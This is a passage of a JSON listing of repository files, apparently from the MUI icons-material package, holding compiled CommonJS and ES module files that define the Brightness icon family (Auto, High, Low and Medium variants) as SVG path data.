15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12z\"\n}, \"1\")], 'BrightnessAutoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessAutoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM14.3 16l-.7-2h-3.2l-.7 2H7.8L11 7h2l3.2 9zm-3.45-3.35h2.3L12 9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 7-3.2 9h1.9l.7-2h3.2l.7 2h1.9L13 7zm-.15 5.65L12 9l1.15 3.65zM20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12z\"\n}, \"1\")], 'BrightnessAutoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHigh.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'BrightnessHigh');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHigh.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'BrightnessHigh');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHighOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2.5\"\n}, \"1\")], 'BrightnessHighOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHighOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2.5\"\n}, \"1\")], 'BrightnessHighOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHighRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V6c0-1.1-.9-2-2-2h-2.69l-1.9-1.9c-.78-.78-2.05-.78-2.83 0L8.69 4H6c-1.1 0-2 .9-2 2v2.69l-1.9 1.9c-.78.78-.78 2.05 0 2.83l1.9 1.9V18c0 1.1.9 2 2 2h2.69l1.9 1.9c.78.78 2.05.78 2.83 0l1.9-1.9H18c1.1 0 2-.9 2-2v-2.69l1.9-1.9c.78-.78.78-2.05 0-2.83zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'BrightnessHighRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHighRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V6c0-1.1-.9-2-2-2h-2.69l-1.9-1.9c-.78-.78-2.05-.78-2.83 0L8.69 4H6c-1.1 0-2 .9-2 2v2.69l-1.9 1.9c-.78.78-.78 2.05 0 2.83l1.9 1.9V18c0 1.1.9 2 2 2h2.69l1.9 1.9c.78.78 2.05.78 2.83 0l1.9-1.9H18c1.1 0 2-.9 2-2v-2.69l1.9-1.9c.78-.78.78-2.05 0-2.83zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'BrightnessHighRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHighSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'BrightnessHighSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHighSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6m0-10c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4\"\n}), 'BrightnessHighSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHighTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2.5\"\n}, \"2\")], 'BrightnessHighTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessHighTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2.5\"\n}, \"2\")], 'BrightnessHighTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLow.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'BrightnessLow');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLow.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'BrightnessLow');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLowOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'BrightnessLowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLowOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}), 'BrightnessLowOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLowRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 15.31 1.9-1.9c.78-.78.78-2.05 0-2.83L20 8.69V6c0-1.1-.9-2-2-2h-2.69l-1.9-1.9c-.78-.78-2.05-.78-2.83 0L8.69 4H6c-1.1 0-2 .9-2 2v2.69l-1.9 1.9c-.78.78-.78 2.05 0 2.83l1.9 1.9V18c0 1.1.9 2 2 2h2.69l1.9 1.9c.78.78 2.05.78 2.83 0l1.9-1.9H18c1.1 0 2-.9 2-2zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'BrightnessLowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLowRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 15.31 1.9-1.9c.78-.78.78-2.05 0-2.83L20 8.69V6c0-1.1-.9-2-2-2h-2.69l-1.9-1.9c-.78-.78-2.05-.78-2.83 0L8.69 4H6c-1.1 0-2 .9-2 2v2.69l-1.9 1.9c-.78.78-.78 2.05 0 2.83l1.9 1.9V18c0 1.1.9 2 2 2h2.69l1.9 1.9c.78.78 2.05.78 2.83 0l1.9-1.9H18c1.1 0 2-.9 2-2zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'BrightnessLowRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLowSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'BrightnessLowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLowSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'BrightnessLowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLowTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"1\")], 'BrightnessLowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessLowTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"1\")], 'BrightnessLowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessMedium.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'BrightnessMedium');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessMedium.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'BrightnessMedium');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessMediumOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6v12c3.31 0 6-2.69 6-6s-2.69-6-6-6\"\n}), 'BrightnessMediumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessMediumOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6v12c3.31 0 6-2.69 6-6s-2.69-6-6-6\"\n}), 'BrightnessMediumOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessMediumRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 15.31 1.9-1.9c.78-.78.78-2.05 0-2.83L20 8.69V6c0-1.1-.9-2-2-2h-2.69l-1.9-1.9c-.78-.78-2.05-.78-2.83 0L8.69 4H6c-1.1 0-2 .9-2 2v2.69l-1.9 1.9c-.78.78-.78 2.05 0 2.83l1.9 1.9V18c0 1.1.9 2 2 2h2.69l1.9 1.9c.78.78 2.05.78 2.83 0l1.9-1.9H18c1.1 0 2-.9 2-2zm-8 1.59V7.1c0-.61.55-1.11 1.15-.99C15.91 6.65 18 9.08 18 12s-2.09 5.35-4.85 5.89c-.6.12-1.15-.38-1.15-.99\"\n}), 'BrightnessMediumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessMediumRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 15.31 1.9-1.9c.78-.78.78-2.05 0-2.83L20 8.69V6c0-1.1-.9-2-2-2h-2.69l-1.9-1.9c-.78-.78-2.05-.78-2.83 0L8.69 4H6c-1.1 0-2 .9-2 2v2.69l-1.9 1.9c-.78.78-.78 2.05 0 2.83l1.9 1.9V18c0 1.1.9 2 2 2h2.69l1.9 1.9c.78.78 2.05.78 2.83 0l1.9-1.9H18c1.1 0 2-.9 2-2zm-8 1.59V7.1c0-.61.55-1.11 1.15-.99C15.91 6.65 18 9.08 18 12s-2.09 5.35-4.85 5.89c-.6.12-1.15-.38-1.15-.99\"\n}), 'BrightnessMediumRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessMediumSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'BrightnessMediumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessMediumSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'BrightnessMediumSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrightnessMediumTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6v12c3.31 0 6-2.69 6-6s-2.69-6-6-6\"\n}, \"1\")], 'BrightnessMediumTwoTone');"
  },
  {
